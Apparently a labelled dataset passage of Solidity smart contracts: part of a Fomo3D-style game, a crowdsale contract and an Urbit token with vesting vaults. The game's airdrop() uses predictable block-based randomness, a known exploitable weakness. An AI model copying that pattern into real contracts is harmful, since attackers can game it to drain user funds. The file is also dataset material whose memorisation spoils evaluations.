airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_rID, _pID, _team, _eth, _keys, _eventData_);
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if (plyrRnds_[_pID][_rIDlast].ico == 0)
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0)
return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcAverageICOPhaseKeyPrice(uint256 _rID)
public
view
returns(uint256)
{
return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() );
}
function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID)
public
view
returns(uint256)
{
if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 )
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg );
else
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].eth).keysRec(_eth) );
else if (_now <= round_[_rID].end)
return ( (round_[_rID].ico).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else if (_now <= round_[_rID].end)
return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].end)
{
if (round_[_rID].ended == false)
{
_eventData_ = endRound(_eventData_);
round_[_rID].ended = true;
}
rID_++;
_rID++;
round_[_rID].strt = _now;
round_[_rID].end = _now.add(rndInit_).add(rndGap_);
}
if (plyr_[_pID].lrnd != _rID)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = _rID;
_eventData_.compressedData = _eventData_.compressedData + 10;
}
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
round_[_rID + 1].pot += _res;
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
return(_eventData_);
}
function roundClaimICOKeys(uint256 _rID)
private
{
round_[_rID].eth = round_[_rID].ico;
round_[_rID].keys = (round_[_rID].ico).keys();
round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID);
uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000));
if (_dust > 0)
round_[_rID].pot = (_dust).add(round_[_rID].pot);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
uint256 _now = now;
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
round_[_rID + 1].pot += _long;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C ||
msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D ||
msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 ||
msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C ||
msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_ + rndGap_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcFast {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,838 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale () public {
beneficiary = 0x1e19E36928bA65184669d8A7e7A37d8B061B9022;
fundingGoal = 0.0022 * 1 ether;
deadline = now + 120 * 1 minutes;
price = 0.00058 * 1 ether;
tokenReward = token(0xb93AF293CD29BD6352bc710b92b577B343D864aD);
}
function () public payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, (amount * 1 ether) / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 708 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract PresaleTokenVesting is TokenVesting {
function PresaleTokenVesting(address _beneficiary, uint256 _duration) TokenVesting(_beneficiary, 0, _duration, _duration, false) public {
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
UrbitToken urbit = UrbitToken(token);
if (!urbit.saleClosed()) {
return(0);
} else {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
uint256 saleClosedTime = urbit.saleClosedTimestamp();
if (block.timestamp >= duration.add(saleClosedTime)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(saleClosedTime)).div(duration);
}
}
}
}
contract TokenVault {
using SafeERC20 for ERC20;
ERC20 public token;
function TokenVault(ERC20 _token) public {
token = _token;
}
function fillUpAllowance() public {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.approve(token, amount);
}
}
contract UrbitToken is BurnableToken, StandardToken {
string public constant name = "Urbit Token";
string public constant symbol = "URB";
uint8 public constant decimals = 18;
uint256 public constant MAGNITUDE = 10**uint256(decimals);
uint256 public constant HARD_CAP = 600000000 * MAGNITUDE;
address public urbitAdminAddress;
address public saleTokensAddress;
TokenVault public bountyTokensVault;
TokenVault public urbitTeamTokensVault;
TokenVault public advisorsTokensVault;
TokenVault public rewardsTokensVault;
TokenVault public retainedTokensVault;
mapping(address => address[]) public vestingsOf;
uint256 public saleClosedTimestamp = 0;
modifier beforeSaleClosed {
require(!saleClosed());
_;
}
modifier onlyAdmin {
require(senderIsAdmin());
_;
}
function UrbitToken(
address _urbitAdminAddress,
address _saleTokensAddress) public
{
require(_urbitAdminAddress != address(0));
require(_saleTokensAddress != address(0));
urbitAdminAddress = _urbitAdminAddress;
saleTokensAddress = _saleTokensAddress;
}
function changeAdmin(address _newUrbitAdminAddress) external onlyAdmin {
require(_newUrbitAdminAddress != address(0));
urbitAdminAddress = _newUrbitAdminAddress;
}
function createSaleTokens() external onlyAdmin beforeSaleClosed {
require(bountyTokensVault == address(0));
createTokens(252000000, saleTokensAddress);
bountyTokensVault = createTokenVault(24000000);
}
function closeSale() external onlyAdmin beforeSaleClosed {
createAwardTokens();
saleClosedTimestamp = block.timestamp;
}
function burnUnsoldTokens() external onlyAdmin {
require(saleClosed());
_burn(saleTokensAddress, balances[saleTokensAddress]);
_burn(bountyTokensVault, balances[bountyTokensVault]);
}
function lockBountyTokens(uint256 _tokensAmount, address _beneficiary, uint256 _duration) external beforeSaleClosed {
require(msg.sender == saleTokensAddress || senderIsAdmin());
_presaleLock(bountyTokensVault, _tokensAmount, _beneficiary, _duration);
}
function lockTokens(address _fromVault, uint256 _tokensAmount, address _beneficiary, uint256 _unlockTime) external onlyAdmin {
this.vestTokens(_fromVault, _tokensAmount, _beneficiary, _unlockTime, 0, 0, false);
}
function vestTokens(
address _fromVault,
uint256 _tokensAmount,
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable)
external onlyAdmin
{
TokenVesting vesting = new TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable);
vestingsOf[_beneficiary].push(address(vesting));
require(this.transferFrom(_fromVault, vesting, _tokensAmount));
}
function releaseVestedTokens() external {
this.releaseVestedTokensFor(msg.sender);
}
function releaseVestedTokensFor(address _owner) external {
ERC20Basic token = ERC20Basic(address(this));
for (uint i = 0; i < vestingsOf[_owner].length; i++) {
TokenVesting tv = TokenVesting(vestingsOf[_owner][i]);
if (tv.releasableAmount(token) > 0) {
tv.release(token);
}
}
}
function senderIsAdmin() public view returns (bool) {
return (msg.sender == urbitAdminAddress || msg.sender == address(this));
}
function saleClosed() public view returns (bool) {
return (saleClosedTimestamp > 0);
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
uint256 result = 0;
for (uint i = 0; i < vestingsOf[_owner].length; i++) {
result += balances[vestingsOf[_owner][i]];
}
return result;
}
function releasableBalanceOf(address _owner) public view returns (uint256) {
uint256 result = 0;
for (uint i = 0; i < vestingsOf[_owner].length; i++) {
result += TokenVesting(vestingsOf[_owner][i]).releasableAmount(this);
}
return result;
}
function vestingCountOf(address _owner) public view returns (uint) {
return vestingsOf[_owner].length;
}
function vestingOf(address _owner, uint _index) public view returns (address) {
return vestingsOf[_owner][_index];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (saleClosed() || msg.sender == saleTokensAddress || senderIsAdmin()) {
return super.transferFrom(_from, _to, _value);
}
return false;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (saleClosed() || msg.sender == saleTokensAddress || senderIsAdmin()) {
return super.transfer(_to, _value);
}
return false;
}
function _presaleLock(TokenVault _fromVault, uint256 _tokensAmount, address _beneficiary, uint256 _duration) internal {
PresaleTokenVesting vesting = new PresaleTokenVesting(_beneficiary, _duration);
vestingsOf[_beneficiary].push(address(vesting));
require(this.transferFrom(_fromVault, vesting, _tokensAmount));
}
function createTokens(uint32 count, address destination) internal onlyAdmin {
uint256 tokens = count * MAGNITUDE;
totalSupply_ = totalSupply_.add(tokens);
balances[destination] = tokens;
emit Transfer(0x0, destination, tokens);
}
function createTokenVault(uint32 count) internal onlyAdmin returns (TokenVault) {
TokenVault tokenVault = new TokenVault(ERC20(this));
createTokens(count, tokenVault);
tokenVault.fillUpAllowance();
return tokenVault;
}
function createAwardTokens() internal onlyAdmin {
urbitTeamTokensVault = createTokenVault(30000000);
advisorsTokensVault = createTokenVault(24000000);
rewardsTokensVault = createTokenVault(150000000);
retainedTokensVault = createTokenVault(120000000);
}
} | 0 | 255 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
